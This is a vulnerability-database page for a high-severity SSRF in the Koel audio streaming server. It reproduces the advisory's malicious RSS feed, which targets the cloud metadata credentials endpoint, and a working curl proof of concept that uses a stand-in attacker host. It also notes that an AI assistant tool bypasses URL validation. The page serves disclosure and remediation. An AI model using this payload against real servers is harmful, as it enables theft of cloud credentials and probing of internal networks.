Skip to main content

Koel EUVDEUVD-2026-36545

| CVE-2026-47260 HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-05-29 https://github.com/koel/koel GHSA-7j2f-6h2r-6cqc
7.7
CVSS 3.1 · Vendor: https://github.com/koel/koel
Share

Severity by source

Vendor (https://github.com/koel/koel) PRIMARY
7.7 HIGH
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Primary rating from Vendor (https://github.com/koel/koel) · only source for this CVE.

CVSS VectorVendor: https://github.com/koel/koel

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
May 29, 2026 - 20:15 vuln.today
Analysis Generated
May 29, 2026 - 20:15 vuln.today
CVE Published
May 29, 2026 - 19:56 nvd
HIGH 7.7

DescriptionCVE.org

Summary

Koel validates the podcast feed URL via the SafeUrl rule (DNS resolution + public IP check), but the individual episode <enclosure url="..."> values extracted from the RSS XML are stored directly into the database without any SSRF validation. When a user plays an episode, the server downloads the full HTTP response from the unvalidated enclosure URL via Http::sink()->get() and streams it back to the user, enabling full-read SSRF against internal services.

---

Vulnerability Details

Episode URL Stored Without Validation

File: app/Services/Podcast/PodcastService.php, line 146

php
'path' => $episodeValue->enclosure->url,  // Unvalidated URL from RSS XML

The SafeUrl rule is applied to the podcast feed URL at subscription time (SubscribeToPodcastRequest), but episode enclosure URLs parsed from the feed XML are stored as-is.

SSRF Trigger: Full Content Download

File: app/Values/Podcast/EpisodePlayable.php, line 42

php
Http::sink($file)->get($episode->path)->throw();

When an episode is played, PodcastStreamerAdapter::stream() first attempts getStreamableUrl() (OPTIONS/HEAD requests to the episode URL). If no CORS header is present (which internal services won't have), it falls through to EpisodePlayable::createForEpisode(), which downloads the full response body and streams it back to the user.

SafeUrl Applied Only to Feed URL

File: app/Http/Requests/API/Podcast/SubscribeToPodcastRequest.php

php
public function rules(): array
{
    return ['url' => ['required', 'url:http,https', new SafeUrl]];
}

The SafeUrl rule (app/Rules/SafeUrl.php) validates scheme, DNS resolution to public IP, and effective URL after redirects. But this only protects the feed URL - not the content within the feed.

---

Attack Flow

  1. Attacker registers an account (Community edition, no Plus required)
  2. Attacker hosts a malicious RSS feed on a public server:
xml
   <rss version="2.0">
     <channel>
       <title>Legit Podcast</title>
       <item>
         <title>Episode 1</title>
         <enclosure url="http://169.254.169.254/latest/meta-data/iam/security-credentials/"
                    type="audio/mpeg" length="1000"/>
         <guid>ssrf-1</guid>
       </item>
     </channel>
   </rss>
  1. POST /api/podcasts with url=https://evil.com/feed.xml - passes SafeUrl (public URL)
  2. Koel parses feed, stores episode with path = http://169.254.169.254/...
  3. Attacker plays episode: GET /play/{episode_id}
  4. Server executes Http::sink($file)->get("http://169.254.169.254/...")
  5. AWS metadata response downloaded to disk, streamed back to attacker

---

Proof of Concept

bash
#!/bin/bash
# PoC: Koel SSRF via Podcast Episode Enclosure URL
# Step 1: Host malicious RSS feed (feed.xml) on attacker server
# Step 2: Subscribe to the podcast

KOEL_URL="https://TARGET"
API_TOKEN="<api_token>"
# Subscribe to malicious podcast
curl -X POST "$KOEL_URL/api/podcasts" \
  -H "Authorization: Bearer $API_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "https://attacker.com/feed.xml"}'
# List episodes to get the episode ID
EPISODE_ID=$(curl -s "$KOEL_URL/api/podcasts" \
  -H "Authorization: Bearer $API_TOKEN" | jq -r '.[0].episodes[0].id')
# Play the episode - triggers SSRF, returns internal service response
curl "$KOEL_URL/play/$EPISODE_ID?api_token=$API_TOKEN" -o response.bin

cat response.bin
# Expected: AWS metadata / internal service response

---

Impact

  • Cloud credential theft: Read AWS/GCP/Azure metadata endpoints (IAM credentials, tokens)
  • Internal network reconnaissance: Scan ports and enumerate internal HTTP services
  • Data exfiltration: Read responses from internal APIs, admin panels, databases with HTTP interfaces
  • Full response body: Unlike blind SSRF, the entire response is returned to the attacker

---

Secondary Finding: SSRF Bypass via AI Radio Station Tool

File: app/Ai/Tools/AddRadioStation.php, lines 35-38

The AI assistant's AddRadioStation tool creates radio stations by calling RadioService::createRadioStation() directly, bypassing the SafeUrl and HasAudioContentType validation rules that protect the REST API endpoint.

Impact: Same SSRF but requires Plus license. CVSS 7.7 HIGH.

---

Novelty Check

  • No existing CVEs found for Koel (searched NVD, GitHub Advisories, web)
  • No SECURITY.md in the repository
  • This is a novel vulnerability

---

Remediation

Fix 1: Validate episode enclosure URLs in synchronizeEpisodes():

php
foreach ($episodeCollection as $episodeValue) {
    $enclosureUrl = $episodeValue->enclosure->url;
    $host = parse_url($enclosureUrl, PHP_URL_HOST);
    if (!$host || !Network::isPublicHost($host)) {
        continue; // Skip episodes with non-public URLs
    }
    // ... rest of episode creation
}

Fix 2: Defense-in-depth validation at playback time in EpisodePlayable::createForEpisode().

Fix 3: Add SafeUrl validation in AddRadioStation AI tool.

AnalysisAI

Server-side request forgery in Koel (composer/phanan/koel <= 9.3.4) allows authenticated low-privilege users to coerce the server into fetching arbitrary internal URLs and stream the full response back to the attacker. The flaw stems from podcast episode enclosure URLs being persisted unvalidated despite SafeUrl checks being applied to the parent feed URL; no public exploit identified at time of analysis, but a detailed working PoC is published in the GHSA advisory.

Technical ContextAI

Koel is a PHP/Laravel-based personal audio streaming server (package composer/phanan/koel). The vulnerability is a classic CWE-918 Server-Side Request Forgery rooted in inconsistent input validation across a trust boundary: the SafeUrl rule (scheme + DNS-resolved public IP + post-redirect check) is enforced on the user-supplied podcast feed URL in SubscribeToPodcastRequest, but child enclosure URLs parsed out of the RSS XML are written straight into the episodes table by PodcastService::synchronizeEpisodes (line 146). At playback time, EpisodePlayable::createForEpisode invokes Laravel's HTTP client via Http::sink($file)->get($episode->path)->throw(), downloading the full body to disk and streaming it back to the requester - turning the server into a full-read SSRF proxy. A secondary path exists in the AI assistant's AddRadioStation tool, which bypassed SafeUrl/HasAudioContentType entirely (Koel Plus only).

RemediationAI

Vendor-released patch: upgrade composer/phanan/koel to 9.3.5 or later, which introduces a new Network::isSafeUrl() helper (commit 8708f077efd7d8a332b32e954d65bc837f3a413a) that is now enforced inside PodcastService::synchronizeEpisodes, EpisodePlayable::createForEpisode (throwing a new UnsafeUrlException), the podcast-obsolescence check, and the AddRadioStation AI tool (commit be1e867982dcadefd4a75d768ce950b1d5234cdf). See https://github.com/koel/koel/security/advisories/GHSA-7j2f-6h2r-6cqc. If immediate upgrade is not possible, compensating controls in order of effectiveness: disable podcast subscription functionality for non-admin users; close public account registration so only trusted users can add feeds; deploy egress filtering at the host/VPC level to block Koel's outbound traffic to RFC1918 ranges and the cloud metadata address 169.254.169.254 (side effect: breaks any legitimate internal podcast hosting); on AWS, enforce IMDSv2 with hop-limit 1 to neutralize the credential-theft impact even if SSRF succeeds (no functional side effect for Koel).

More in PHP

View all
CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

CVE-2024-46506 CRITICAL POC
10.0 May 13

NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro

CVE-2024-8353 CRITICAL POC
9.8 Sep 28

The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all

Share

EUVD-2026-36545 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy